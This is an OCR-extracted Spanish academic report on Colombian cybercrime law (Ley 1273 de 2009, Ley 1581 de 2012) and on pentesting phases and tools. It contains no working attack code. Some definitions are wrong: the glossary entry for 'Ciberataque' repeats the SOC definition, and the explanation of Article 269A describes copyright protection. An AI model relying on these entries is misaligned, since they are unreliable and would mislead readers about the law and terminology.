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GLOSARIO

Andlisis de vulnerabilidades: Proceso de detectar y analizar las fallas en un
sistema, aplicacion o red que un atacante podria explotar.

Ataque de denegacion de servicio (DDoS): Un intento de dejar un servicio en
linea fuera de servicio al saturarlo con trafico malintencionado.

Blue Team: Equipo de defensa cibernética responsable de detectar, responder y
mitigar los ataques informaticos.

Banco de trabajo: Entorno disefiado especificamente para llevar a cabo pruebas
de seguridad informatica.

Center for Internet Security (CIS): Una organizacion sin fines de lucro que ofrece
orientacién y mejores practicas en seguridad cibernética, incluyendo estandares
para la configuracion segura de sistemas informaticos.

Centro de operaciones de seguridad (SOC): Un equipo y un conjunto de
procesos encargados de monitorear y analizar la seguridad de una organizacion
en tiempo real.

Ciberataque: Un equipo y un conjunto de procesos dedicados a monitorear y
analizar en tiempo real la seguridad de una organizacion.

CVE (Common Vulnerabilities and Exposures): Un codigo Unico asignado a una
vulnerabilidad de seguridad especifica.

Criptografia: Practica de proteger la informacion mediante métodos de
codificacion, asegurando que solo las personas autorizadas puedan acceder a
ella.

Deteccion de ataques informéticos: Proceso de identificar actividades
sospechosas o maliciosas en una red o sistema informatico.

Equipo de respuesta a incidentes informaticos: Equipo responsable de
gestionar y responder a incidentes de seguridad cibernética dentro de una
organizacion.

Explotacion: Etapa del pentesting en la que se utilizan las vulnerabilidades
descubiertas para obtener acceso no autorizado al sistema objetivo.



Exploit: Programa o cédigo creado para explotar una vulnerabilidad en un sistema
informatico o aplicacion.

Exploit-DB: Base de datos que almacena exploits y vulnerabilidades de
seguridad.

Firewall: Dispositivo o software destinado a filtrar el trafico de red y evitar accesos
no autorizados.

GPL (General Public License): Tipo de licencia de software de codigo abierto
gue asegura que el software esté disponible gratuitamente para su uso,
modificacion y distribucion.

Hacking ético: Practica de acceder a sistemas informaticos con permiso explicito
para identificar y corregir fallos de seguridad.

Hardening: Proceso de mejorar la seguridad de un sistema o red mediante la
implementacion de medidas adicionales y la eliminacion de vulnerabilidades.

Honeypot: Sistema informético disefiado para simular vulnerabilidades con el fin
de atraer y monitorear a los atacantes.

Ingenieria social: Estrategia utilizada por los atacantes para engafiar a los
usuarios y obtener informacién confidencial o acceso a sistemas.

Informes: Documentos detallados que resumen los hallazgos, las
vulnerabilidades detectadas y las recomendaciones para mejorar la seguridad
informética.

Intrusién: Acceso no autorizado a un sistema informatico, red o aplicacion.

Metasploit: Plataforma de cddigo abierto para pruebas de penetracion que
permite desarrollar y ejecutar exploits contra sistemas informéaticos.

Payload: Cdédigo malicioso que se utiliza para realizar un ataque una vez que se
ha explotado una vulnerabilidad en un sistema.

Pentesting: Abreviatura de "penetration testing”, se refiere a pruebas de

seguridad que simulan un ataque cibernético real para evaluar la seguridad de un
sistema o red.
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Post explotacion: Fase en la que se mantienen y amplian los accesos obtenidos
durante la explotacion, con el objetivo de obtener mas informacién o realizar
acciones especificas en el sistema comprometido.

Phishing: Tipo de ataque en el que los atacantes engafian a los usuarios para
gue revelen informacion confidencial, como contrasefias o datos financieros, a
través de correos electronicos falsos.

Politica de seguridad de la informacion: Conjunto de normas y directrices que
dictan cdmo una organizacién gestiona, protege y comparte su informacion.

Purple Team: Enfoque de ciberseguridad que une las funciones del Red Team y
Blue Team para mejorar la colaboracion y la eficacia en la deteccion y respuesta
a amenazas.

Reconocimiento (footprinting): Fase inicial de un pentesting que consiste en
recopilar informacion sobre el objetivo, como direcciones IP, nombres de dominio,
empleados clave, etc.

Red Team: Equipo que simula ataques cibernéticos contra una organizacion para
evaluar la eficacia de sus defensas.

Ransomware: Tipo de malware que cifra los archivos de un sistema y exige un
rescate para recuperar el acceso.

SIEM (Security Information and Event Management): Herramienta de
seguridad informatica que ofrece una vision centralizada de los eventos de
seguridad en una red.

XDR (Extended Detection and Response): Evolucion del SIEM que integra y

correlaciona datos de multiples fuentes para proporcionar una deteccion y
respuesta mejoradas a amenazas.
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RESUMEN

Las leyes de delitos informaticos en Colombia, especificamente la Ley 1273 de 2009 y la
Ley 1581, son fundamentales para regular la seguridad digital en el pais. Estas
normativas establecen medidas para prevenir, investigar y sancionar crimenes
tecnoldgicos, como el acceso no autorizado a sistemas informaticos, la interceptacion de
datos y la manipulacion digital. Al ser hitos legislativos, ambas leyes proporcionan normas
claras para enfrentar y sancionar los delitos cibernéticos, lo que fortalece la proteccién

digital en Colombia.

Este trabajo se enfoca en examinar en profundidad estas leyes y desarrollar escenarios
simulados para realizar pruebas de ethical hacking. Al evaluar las acciones de los equipos
Red Team y Blue Team de una organizacion segun estandares éticos y legales, se busca
identificar vulnerabilidades en los sistemas informaticos mediante técnicas de intrusion.
Estas evaluaciones practicas no solo permiten detectar posibles debilidades, sino que

también contribuyen a fortalecer la seguridad digital del pais.

Con el incremento de los delitos informaticos, es esencial entender y enfrentar los riesgos
involucrados. Las metodologias de intrusion juegan un papel crucial en este contexto, ya
que ayudan a detectar, evaluar y mitigar las vulnerabilidades en los sistemas informaticos.
Esto fortalece las defensas y protege los activos digitales contra las amenazas
emergentes en el dinamico entorno digital. Mantener la seguridad en linea en un entorno
cada vez mas complejo requiere de estas metodologias, que son clave para garantizar

una proteccion eficaz y constante.

Palabras clave: Evaluacién de Vulnerabilidades, Ethical Hacking, Legislacion sobre
Delitos Informéticos, Ley 1273 de 2009, Seguridad Digital.
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ABSTRACT

The cybercrime laws in Colombia, specifically Law 1273 of 2009 and Law 1581, are
fundamental for regulating digital security in the country. These regulations establish
measures to prevent, investigate, and sanction technological crimes such as unauthorized
access to computer systems, data interception, and digital manipulation. As legislative
milestones, both laws provide clear norms for addressing and penalizing cybercrimes,

thereby strengthening digital protection in Colombia.

This work aims to thoroughly examine these laws and develop simulated scenarios to
conduct ethical hacking tests. By evaluating the actions of an organization’s Red Team
and Blue Team according to ethical and legal standards, the goal is to identify
vulnerabilities in computer systems through intrusion techniques. These practical
evaluations not only allow for the detection of potential weaknesses but also contribute to

bolstering the country’s digital security.

With the increase in cybercrime, it is essential to understand and address the associated
risks. Intrusion methodologies play a crucial role in this context, as they help detect,
assess, and mitigate vulnerabilities in computer systems. This process strengthens
defenses and protects digital assets against emerging threats in the dynamic digital
environment. Maintaining online security in an increasingly complex environment requires

these methodologies, which are key to ensuring effective and continuous protection.

Keywords: Cybercrime Legislation, Digital Security, Ethical hacking, Vulnerability
Assessment, Law 1273 of 2009.
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1. INTRODUCCION

En el panorama actual, el crecimiento exponencial de la tecnologia de la informacion ha
llevado consigo una proliferacién de delitos informéticos y vulnerabilidades que pueden
comprometer la seguridad de la infraestructura digital de las organizaciones. Para hacer
frente a estos desafios, Colombia ha establecido un marco legal solido, representado
principalmente por la Ley 1273 de 2009 y la Ley 1581, que abordan la prevencion,

investigacion y sancion de delitos informaticos.

Estas leyes no solo reconocen la importancia de proteger la informacion digital, sino que
también promueven la colaboracion entre el sector publico y privado para combatir las
amenazas cibernéticas. Ademas, buscan mejorar las capacidades en materia de
ciberseguridad y fomentar la cooperacion internacional en la lucha contra los delitos

informaticos.

En este contexto, surge la necesidad de evaluar y fortalecer las defensas de las
organizaciones mediante el uso de metodologias y técnicas de intrusion. La realizacion
de pruebas de penetracion éticas, llevadas a cabo por equipos Red Team y Blue Team,
se convierte en una herramienta fundamental para identificar, evaluar y mitigar las

vulnerabilidades presentes en los sistemas informaticos.

Este trabajo tiene como objetivo analizar y evaluar las acciones de los equipos Red Team
y Blue Team de una organizacion en el marco de los criterios éticos y legales
establecidos. A través de la demostracion de vulnerabilidades en sistemas informaticos
y el desarrollo de estrategias efectivas de contencién, buscamos fortalecer las defensas
y proteger los activos digitales contra las amenazas emergentes en el cambiante

panorama digital.
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2. OBJETIVOS

2.1 OBJETIVO GENERAL

- Analizar las leyes colombianas sobre delitos informaticos, llevando a cabo simulacros
de ethical hacking con el fin de evaluar la capacidad de respuesta de equipos Red

Team & Blue Team.

2.2 OBJETIVOS ESPECIFICOS

- Analizar los aspectos clave de la Ley 1273 de 2009 y la Ley 1581 de Colombia,
basandose en las disposiciones relacionadas con la prevencion, investigacion y

sancion de delitos informaticos.

- Diseflar y ejecutar escenarios controlados que simulen situaciones de ataque
informatico para crear un banco de trabajo que facilite la realizacion de pruebas y
simulacros de ethical hacking.

- Identificar y documentar las vulnerabilidades presentes en los sistemas informaticos

mediante la aplicacion de metodologias y técnicas de intrusion durante los simulacros

de ethical hacking.
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3. ETAPA 1 CONCEPTOS EQUIPOS DE SEGURIDAD

3.1.ANALISIS LEY 1273 DE 2009

1. ACTUALMENTE EN COLOMBIA EXISTEN MARCOS REGULATORIOS LOS
CUALES SE ENFOCAN NO SOLAMENTE A LEY DE DELITOS INFORMATICOS
SINO A LA PROTECCION DE DATOS PERSONALES LOS CUALES DEBEN
SER ASEGURADOS POR PARTE DE ORGANIZACIONES LAS CUALES
REUNEN DATA DE MILES DE PERSONAS. EN ESTE ORDEN DE IDEAS SE
REQUIERE QUE DEFINA DE FORMA GENERAL Y CON SUS PALABRAS QUE
MENCIONA LA LEY 1273 DE 2009 Y DEFINIR CADA ARTICULO; ADEMAS
DEBEN EXPLICAR DE MANERA GENERAL 2 TODO AL RESPECTO DE LA
LEY 1581 DE 2012. PARA LA LEY 1581 DE 2012 DEBEN CONSULTAR EL
MONTO DE LAS MULTAS CORRESPONDIENTES Y LA ENTIDAD QUE
REGULA ESTE TEMA EN COLOMBIA.

“La Ley 1273 de 2009, es conocida como la Ley de Delitos Informaticos. En ella
se establece los protocolos y normas para prevenir, sancionar y controlar los

delitos informéaticos en Colombia.
Articulo 269A: Acceso abusivo a un sistema informatico.

Toda persona que, sin permiso o excediendo los permisos otorgados, acceda de manera
total o parcial a un sistema informético, ya sea que esté protegido por medidas de
seguridad o no, 0 que permanezca en dicho sistema en contra de la voluntad del
propietario legitimo, sera sancionada con una pena de prisién de cuarenta y ocho (48) a
noventa y seis (96) meses, ademas de una multa que varia entre 100 y 1.000 salarios

minimos legales mensuales vigentes?®.

ICOLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 de 2009. [En linea]. Bogota Juridica.
Disponible en: https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.
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Explicacion y argumentacion.

Este articulo busca proteger los derechos de autor y conexos en el ambito digital,
penalizando a quienes intenten evadir o eliminar medidas de proteccién implementadas
en programas de computadora, bases de datos electronicas u otras obras sujetas a

derechos de autor, sin la debida autorizacion.

Articulo 269B: Obstaculizacién ilegitima de sistema informatico o red de

telecomunicacion.

Cualquier persona que, sin autorizacion, interfiera o dificulte el funcionamiento normal o
el acceso a un sistema informético, a los datos que este contiene, o a una red de
telecomunicaciones, sera castigada con una pena de prisién de cuarenta y ocho (48) a
noventa y seis (96) meses, y una multa que oscila entre 100 y 1.000 salarios minimos
legales mensuales vigentes, siempre que esta conducta no constituya un delito con una

pena mayor.2.

Explicacion y argumentacion

Este tiene como objetivo salvaguardar la seguridad y la integridad de los sistemas
informaticos y las redes, castigando las acciones que intenten comprometer su
funcionamiento o la confidencialidad de la informacion que almacenan. La ley prevé
sanciones para aquellos que cometan estas infracciones, promoviendo asi un uso

responsable y legal de la tecnologia informatica.

Articulo 269C: Interceptacién de datos informéaticos.

2 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 de 2009. [En linea]. Bogota Juridica.
Disponible en: https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.
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Cualquier persona que, sin una orden judicial previa, intercepte datos informaticos en su
punto de origen, destino o dentro de un sistema informatico, o capture emisiones
electromagnéticas de un sistema informético que los transmita, sera castigada con una

pena de prision de treinta y seis (36) a setenta y dos (72) meses®.

Explicacion y argumentacion

Tiene como objetivo sancionar a quienes violen la confidencialidad de la informacion
electrénica, ya sea para obtener informacién sensible ilegalmente, alterarla o con
cualquier otro propdsito ilicito. Esto se realiza para proteger la seguridad e integridad de
las comunicaciones electronicas y promover un uso ético y responsable de la tecnologia

informéatica.

Articulo 269D: Darfio Informético.

Cualquier persona que, sin permiso, destruya, dafie, borre, deteriore, altere o suprima
datos informéticos, un sistema de procesamiento de informacién o sus componentes
l6gicos, sera castigada con una pena de prision de cuarenta y ocho (48) a noventa y seis

(96) meses y una multa de 100 a 1.000 salarios minimos legales mensuales vigentes®.

Explicacion y argumentacion

Sanciona la creacion, distribucion o facilitaciéon de programas informaticos maliciosos,
como virus, gusanos, troyanos y otros tipos de malware, con el propésito de dafar o

comprometer la seguridad de sistemas informaticos o redes de datos.

3 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 de 2009. [En linea]. Bogota Juridica.
Disponible en: https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.

4 ibid
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Articulo 269E: Uso de software malicioso.

Este articulo se aplica a cualquier persona que, sin autorizacion, produzca, trafique,
adquiera, distribuya, venda, envie, introduzca o extraiga del pais software malicioso u
otros programas informéticos con efectos perjudiciales. Tal conducta ser& castigada con
una pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses, ademas de una

multa que oscilara entre 100 y 1.000 salarios minimos legales mensuales vigentes®.

Explicacion y argumentacion

Este articulo establece las sanciones especificas para aquellos que participen en la
produccion, trafico, adquisicion, distribucién, venta, envio, introduccion o extraccion de
software malicioso o programas informaticos con efectos dafinos, sin tener la
autorizacion correspondiente. Las penas incluyen prision, que puede variar de 48 a 96
meses, asi como multas que van desde 100 hasta 1.000 salarios minimos legales

mensuales vigentes.

Articulo 269F: Violaciéon de datos personales.

Toda persona que, sin autorizacién y con beneficio propio o de un tercero, acceda,
compile, robe, ofrezca, venda, intercambie, envie, compre, intercepte, divulgue,
modifique o utilice cédigos o datos personales almacenados en ficheros, bases de datos
u otros medios similares, sera castigada con una pena de prision de cuarenta y ocho (48)
a noventa y seis (96) meses y una multa de 100 a 1.000 salarios minimos legales

mensuales vigentes®.

5 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 de 2009. [En linea]. Bogota Juridica.
Disponible en: https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.
¢ibid
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Explicacion y argumentacion

Este prohibe obtener, compilar, sustraer, ofrecer, vender, intercambiar, enviar, comprar,
interceptar, divulgar, modificar o emplear codigos personales o datos personales sin
autorizacion. Quienes realicen estas acciones sin estar facultados para ello, ya sea para
beneficio propio o de un tercero, enfrentaran penas que incluyen prision de cuarenta y
ocho (48) a noventa y seis (96) meses y multas que van desde 100 hasta 1000 salarios

minimos legales mensuales vigentes.

Articulo 269G: Suplantacidn de sitios web para capturar datos personales.

Quien, con fines ilicitos y sin autorizacion, disefie, desarrolle, trafique, venda, ejecute,
programe o envie paginas web, enlaces o ventanas emergentes, sera castigado con una
pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y una multa de 100
a 1.000 salarios minimos legales mensuales vigentes, siempre que esta accion no

constituya un delito con una pena mas severa.

Asimismo, incurrird en la misma sanciéon quien modifique el sistema de resolucion de
nombres de dominio, de manera que haga que el usuario acceda a una IP diferente bajo
la creencia de que esta entrando a su banco u otro sitio personal o de confianza, siempre
qgue la conducta no constituya un delito sancionado con una pena mas grave. La pena
sefialada en los dos incisos anteriores se agravara de una tercera parte a la mitad si, para

llevar a cabo el delito, el agente ha reclutado victimas en la cadena delictiva’.

Explicacion y argumentacion

7 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 de 2009. [En linea]. Bogota Juridica.
Disponible en: https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.
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Tiene como objetivo combatir la suplantacion de identidad en linea y proteger la seguridad
y privacidad de los datos personales de los usuarios de Internet. La imposicion de
sanciones severas busca disuadir a aquellos que intenten realizar este tipo de acciones

fraudulentas.

Articulo 269H: Circunstancias de agravacion punitiva

Las sanciones previstas en los articulos de este titulo se incrementaran de la mitad a las

tres cuartas partes si la conducta se lleva a cabo en las siguientes circunstancias:

- Cuando se trate de redes o sistemas informaticos o de comunicaciones pertenecientes

al Estado, a entidades oficiales, o al sector financiero, tanto nacionales como extranjeros.
- Por servidor publico en ejercicio de sus funciones.

- Aprovechando la confianza otorgada por el poseedor de la informacion o por alguien

que tenga un vinculo contractual con él.

- Revelando o divulgando el contenido de la informacién en detrimento de otra persona.
- Obteniendo provecho para si mismo o para un tercero.

- Con fines terroristas o creando un riesgo para la seguridad o la defensa nacional.

- Utilizando como instrumento a un tercero de buena fe.

- Si la persona que comete estas acciones es la encargada de la administracion, gestion
o control de dicha informacién, se le impondra, ademas, una inhabilitacion de hasta tres
afios para ejercer profesiones relacionadas con sistemas de informacion procesada

mediante equipos computacionales.®.

Explicacion y argumentacion

8 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 de 2009. [En linea]. Bogota Juridica.
Disponible en: https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.
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Este articulo establece las condiciones bajo las cuales se puede aumentar la pena para
un delito informatico especifico. Estas circunstancias pueden incluir factores como el uso
de la violencia, la participacion de menores de edad en la comision del delito, la

pertenencia a una organizacion criminal, la reiteracion delictiva, entre otros.

CAPITULO. Il
De los atentados informaticos y otras infracciones
Articulo 269I: Hurto por medios informaticos y semejantes.

Quien, superando medidas de seguridad informéticas, realice la conducta descrita en el
articulo 239 manipulando un sistema informatico, una red de sistema electronico,
telematico u otro medio similar, o suplantando a un usuario en los sistemas de
autenticacion y autorizacion establecidos, incurrird en las penas previstas en el articulo
240 de este Cddigo.

Explicacion y argumentacion

Este articulo aborda el robo de informacién o activos digitales a través de medios
electrénicos o informaticos. Establece las condiciones y penalidades para aquellos que
cometan este tipo de delitos, como el robo de informacion financiera, datos personales,

propiedad intelectual u otros activos digitales.

Articulo 269J: Transferencia no consentida de activos.

Quien, con animo de lucro y mediante manipulacion informatica o un artificio similar,
consiga la transferencia no consentida de cualquier activo en perjuicio de un tercero,
incurrira en una pena de prision de cuarenta y ocho (48) a ciento veinte (120) meses y en
una multa de 200 a 1.500 salarios minimos legales mensuales vigentes, siempre que la

conducta no constituya un delito sancionado con una pena mas grave. La misma sancion
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se impondra a quien fabrique, introduzca, posea o facilite un programa de computador

destinado a cometer el delito descrito en el inciso anterior o una estafa.

Si la conducta descrita en los dos incisos anteriores supera una cuantia de 200 salarios

minimos legales mensuales, la sancién correspondiente se incrementara en la mitad®.

Explicacion y argumentacion

Este articulo busca penalizar aquellas acciones que implican la transferencia indebida de
activos sin el consentimiento de la parte afectada. Esto puede incluir transferencias
fraudulentas de fondos bancarios, transferencias de propiedad de bienes digitales o
fisicos, o cualquier otro tipo de transferencia de activos que se realice de manera ilegal

utilizando tecnologia informatica u otros medios similares.
Articulo 2°. Adiciénese al articulo 58 del Cédigo Penal con un numeral 17, asi:

Articulo 58. Circunstancias de mayor punibilidad. Son circunstancias de mayor

punibilidad, siempre que no hayan sido previstas de otra manera:

17. Cuando para la realizacion de las conductas punibles se utilicen medios informéaticos,

electrénicos o telematicos.

9 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 de 2009. [En linea]. Bogota Juridica.
Disponible en: https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.
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3.2.LEY 1581 DE 2012.

La Ley 1581 de 2012 en Colombia, conocida como Ley de Protecciébn de Datos
Personales, establece disposiciones para garantizar el derecho fundamental de habeas
data y regular el manejo adecuado de la informacion personal por parte de entidades
publicas y privadas. Aqui te proporciono una explicacion de los aspectos principales de

esta ley'0.

Objeto: La ley tiene como objetivo principal regular el tratamiento de los datos personales
gue se encuentren en bases de datos, con el fin de garantizar el derecho al habeas data

y proteger la privacidad de las personas.

Ambito de aplicacion: La ley se aplica a todas las personas naturales o juridicas que en
Colombia recolecten, almacenen, usen, circulen o supriman datos personales en bases

de datos, tanto del sector publico como del sector privado.

Principios: Establece una serie de principios que deben regir el tratamiento de los datos
personales, como el principio de legalidad, finalidad, libertad, veracidad, transparencia,

entre otros.

Derechos de los titulares: Reconoce una serie de derechos a los titulares de los datos
personales, como el derecho de acceso, rectificacion, actualizacion, inclusion y supresion

de la informacion.

Autorizacion: Establece que el tratamiento de los datos personales requiere el
consentimiento previo, expreso e informado del titular, salvo en los casos exceptuados

por ley.

10 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1581 de 2012: Por la cual se dictan disposiciones generales para la
proteccidn de datos personales. DO. No. 48496. Recuperado de
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=4864.
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Responsables del tratamiento: Define las obligaciones y responsabilidades de los
responsables del tratamiento de los datos personales, asi como de los encargados del

mismo.

Transferencia internacional de datos: Regula la transferencia internacional de datos
personales, estableciendo los requisitos que deben cumplirse para realizar dichas

transferencias.!!

Sanciones: Establece las sanciones por el incumplimiento de la ley, que pueden incluir
multas econdmicas, suspension de actividades y clausura de bases de datos, entre otras.
Las Multas de caracter personal e institucional son hasta por el equivalente de dos mil
(2.000) salarios minimos mensuales legales vigentes al momento de la imposicién de la
sancion. Las multas podran ser sucesivas mientras subsista el incumplimiento que las

originé.

La ley también crea el Registro Nacional de Bases de Datos, que es administrado por la
Superintendencia de Industria y Comercio, entidad encargada de supervisar y controlar

el cumplimiento de la ley.

En conclusion, la Ley 1581 de 2012 busca garantizar la protecciéon de los datos
personales en Colombia, estableciendo normas para su adecuado tratamiento y

protegiendo los derechos de los titulares de la informacion.

11 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1581 de 2012: Por la cual se dictan disposiciones
generales para la proteccion de datos personales. DO. No. 48496. Recuperado de
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=4864.
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2. EL PENTESTING ES UN PROCESO DE GRAN VITALIDAD EN EL CAMPO DE
LA CIBERSEGURIDAD, POR ESTE MOTIVO USTED DEBE DEFINIR CADA
ETAPA DEL PENTESTING, PERO TIENE QUE ESPECIFICAR CON MAYOR
DETALLE LA ETAPA DE FOOTPRINTING, DE QUE TRATA ESTA ETAPA,
¢ QUE APLICACIONES (OPENSOURCE Y PAGAS) PODRIA UTILIZAR PARA
ESTE PROCESO? ;Y POR QUE PIENSA QUE ES UNA DE LAS ETAPAS MAS
IMPORTANTES DENTRO DEL PENTESTING?

5. FASES DE UN PENTESTING.

4.1.Reconocimiento (footprinting).

En la fase principal, se recolecta toda la informacion posible mediante el uso de diversas

técnicas, tales como:

« Recopilacion de dominios/IPs/puertos/servicios
» Recopilacién de metadatos
e Uso de Google Dorks

« Recopilacion de informacion gracias a servicios de terceros.

El "footprinting” o reconocimiento es una de las fases iniciales y criticas en el proceso de

pentesting?. Las etapas especificas de esta fase son

a. Recopilacion de Informacién Pasiva:

e Se recopila informacion de manera no intrusiva, utilizando fuentes publicas
como redes sociales, sitios web, registros WHOIS, registros DNS,

busqueda de Google, entre otros.

12 Herndndez, M. (2022, enero 26). Pentesting con OWASP: fases y metodologia. Blog de hiberus; Hiberus.
https://www.hiberus.com/crecemos-contigo/pentesting-owasp-fases-metodologia/
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Se busca informacién sobre la organizacién, sus empleados, socios,
infraestructura, tecnologias utilizadas, direcciones IP, rangos de
direcciones IP, nombres de dominio, etc.

El objetivo es obtener una imagen general de la superficie de ataque sin

alertar a la organizacion objetivo.*3

b. Recopilacién de Informacién Activa:

Se realizan actividades mas directas para obtener informacién sobre la
infraestructura de la organizacién, como escaneo de puertos, analisis de
trafico de red, basquedas de DNS inversas, entre otros.

Se pueden utilizar herramientas como Nmap, Shodan, Maltego, entre otras,
para recopilar datos sobre sistemas activos, servicios expuestos, versiones

de software, etc.14

c. Enumeracion de Informacion:

Se realiza un analisis mas detallado de la informacion recopilada para
identificar posibles vulnerabilidades o puntos de entrada.

Se busca informacién sobre usuarios validos, configuraciones de red,
relaciones entre sistemas, posibles rutas de atague, entre otros.

Esta fase puede implicar el uso de técnicas como la enumeraciéon de
usuarios, analisis de trafico, busquedas especificas en motores de

busqueda, entre otras.'®

13 Herndndez, M. (2022, enero 26). Pentesting con OWASP: fases y metodologia. Blog de hiberus; Hiberus.
https://www.hiberus.com/crecemos-contigo/pentesting-owasp-fases-metodologia/

14 yyacheslav Fadyushin, Andrey Popo. Construyendo un Laboratorio de Pentesting para Redes Inaldmbricas.
Birmingham: Packt Publishing Ltd, 2016.

15 cardwell, Kevin. Construyendo un Laboratorio Virtual de Pentesting para Pruebas Avanzadas de Penetracién

Tercera Edicidn. Birmingham : Packt Publishing Ltd, 2019.
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d. Analisis y Documentacion:

e Se revisa y organiza toda la informacién recopilada durante las fases
anteriores.

« Se identifican posibles areas de debilidad, puntos de entrada potenciales y
rutas de ataque.

e« Se documentan todos los hallazgos en un formato adecuado para su

posterior analisis y presentacion al cliente.

Es crucial destacar que, durante esta fase, el pentester debe actuar con cuidado para no
violar ninguna ley o politica de la organizacion objetivo y debe obtener siempre el
consentimiento explicito antes de realizar cualquier actividad de reconocimiento.
Ademas, es esencial respetar la ética y la privacidad en el manejo de la informacién

recopilada.®

El footprinting es fundamental debido a que proporciona la base para un pentesting
efectivo al recopilar informacién esencial, identificar vulnerabilidades potenciales y
planificar estrategias de ataque inteligentes'’. Sin una fase de reconocimiento adecuada,
el pentesting corre el riesgo de pasar por alto areas criticas de vulnerabilidad y no

alcanzar los objetivos de seguridad deseados.®

16 7afra, José Luis Guillén. Introduccién al Pentesting. Barcelona: Universitat de Barcelona, 2017.

17 TALON, Rafael Manuel Marti. Desarrollo e Implementacidn de una practica de Pentest. Gandia: Universidad
Politécnica de Valencia, 2016.
18 HERNANDEZ, M. Pentesting con OWASP: fases y metodologia. Blog de hiberus; Hiberus, 26 de enero de 2022. [En

linea]. Disponible en: https://www.hiberus.com/crecemos-contigo/pentesting-owasp-fases-metodologia/.

28



4.2.Anélisis de vulnerabilidades

En esta fase, se analiza la informacion recopilada anteriormente y se identifican las
vulnerabilidades descubiertas. Con los datos obtenidos, se buscan CVEs (Common

Vulnerabilities and Exposures) conocidos y/o faciles de explotar.*®.

4.3.Explotacién

La fase de explotacion consiste en realizar todas aquellas acciones que puedan
comprometer al sistema auditado, a los usuarios o a la informacion que maneja.

Principalmente se comprueba que no se puedan realizar ataques tipo:

e Inyeccion de codigo

e Inclusion de ficheros locales o remotos

« Evasion de autenticacion

« Carencia de controles de autorizacion

e Ejecucién de comandos en el lado del servidor
o Ataques Tipo Cross Site Request Forgery

e Control de errores

« Gestion de sesiones

o Fugas de informacion

e Secuestros de sesion

o Comprobacion de las condiciones para realizar una denegacion de servicio

o Carga de ficheros maliciosos

19 PICUS SECURITY. What is Common Vulnerabilities and Exposures (CVE). [En linea)]. Consultado el 27 de julio de
2024. Disponible en: https://www.picussecurity.com/resource/glossary/what-is-common-vulnerabilities-and-

exposures-cve.
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Estos tipos de ataques se realizan adecuando el desarrollo de cada ataque, técnicas en

uso y las ultimas tecnologias disponibles adaptadas para conseguirlo.

4.4.Post explotacion

En caso de encontrarse una vulnerabilidad que permita realizar otras acciones en el
sistema auditado o en su entorno, se realizardn controles adiciones con el objetivo de

comprobar la criticidad de esta.?®

En funcion de las posibilidades que permita una vulnerabilidad concreta, se intentaran

realizar las siguientes acciones de post-explotacion:

e Obtencion de informacion confidencial

« Evasion de mecanismos de autenticacion

« Realizar acciones del lado de los usuarios

« Realizar acciones o ejecutar comandos en el servidor que aloja la aplicacién
« Privilegios disponibles en el servidor, si se consigue acceso al mismo

« Oftros sistemas o servicios accesibles desde la aplicacion comprometida

« Posibilidad de impersonalizaciéon del usuario

¢ Realizar acciones sin el consentimiento o conocimiento de los usuarios

La posibilidad de encadenar varias vulnerabilidades para conseguir un acceso de mayor
nivel o para evadir los controles de seguridad también seran escenarios valorados a la

hora de realizar el analisis de riesgos.

20 BLACKHAT ETHICAL HACKING. Post Exploitation Techniques: Maintaining Access, Escalating Privileges, Gathering
Credentials, Covering Tracks. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://www.blackhatethicalhacking.com/articles/post-exploitation-techniques-maintaining-access-escalating-
privileges-gathering-credentials-covering-tracks/.
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4.5. Informes

La dltima parte de un test de intrusion seréa siempre realizar un resumen informativo (esto
es un documento de como ha ido el test de intrusion) donde se incluiran todas las

vulnerabilidades encontradas y las exposiciones que podrian aprovechar los atacantes.?*

También se debe incluir un documento donde se recopile todo lo obtenido en la prueba.
Podemos considerarlo una muestra de la informaciéon que podria haber sido recopilada

por un atacante.??

Por ultimo, debe constar, si se ha pactado previamente, un documento de contramedidas
para resolver (o mitigar) en medida de lo posible estos problemas.

4.6.Herramientas de Cédigo Abierto:

1. Nmap: Un escaner de puertos y un explorador de redes ampliamente utilizado

para descubrir hosts y servicios en una red.

2. Metasploit Framework: Una herramienta para desarrollar y ejecutar exploits

contra sistemas objetivo.?

3. Wireshark: Un analizador de protocolos de red que captura y muestra datos en

tiempo real.

21 PHONG, Chiem Trieu. A study of Penetration Testing Tools and Approaches. Auckland: School of Computing and
Mathematical Sciences, 2014.

22 ENGEBRETSON, Patrick. The Basics of Hacking and Penetration Testing. Ethical Hacking and Penetration Testing
Made Easy. Elsevier, 2013.

23 CYBER MANAGEMENT ALLIANCE. Using Metasploit and Nmap to Scan for Vulnerabilities. [En linea]. Consultado el
27 de julio de 2024. Disponible en: https://www.cm-alliance.com/cybersecurity-blog/using-metasploit-and-nmap-
to-scan-for-vulnerabilities.

31


https://www.cm-alliance.com/cybersecurity-blog/using-metasploit-and-nmap-to-scan-for-vulnerabilities
https://www.cm-alliance.com/cybersecurity-blog/using-metasploit-and-nmap-to-scan-for-vulnerabilities

4. Burp Suite Community Edition: Una suite de herramientas para pruebas de

seguridad de aplicaciones web.?*

5. OpenVAS: Un escéner de vulnerabilidades de red que detecta y clasifica las

vulnerabilidades en sistemas y redes.

6. OWASP ZAP (Zed Attack Proxy): Una herramienta de seguridad de aplicaciones

web disefiada para encontrar vulnerabilidades en aplicaciones web.?>

4.7.Herramientas de Pago:

Burp Suite Professional: La versibn completa de Burp Suite que ofrece
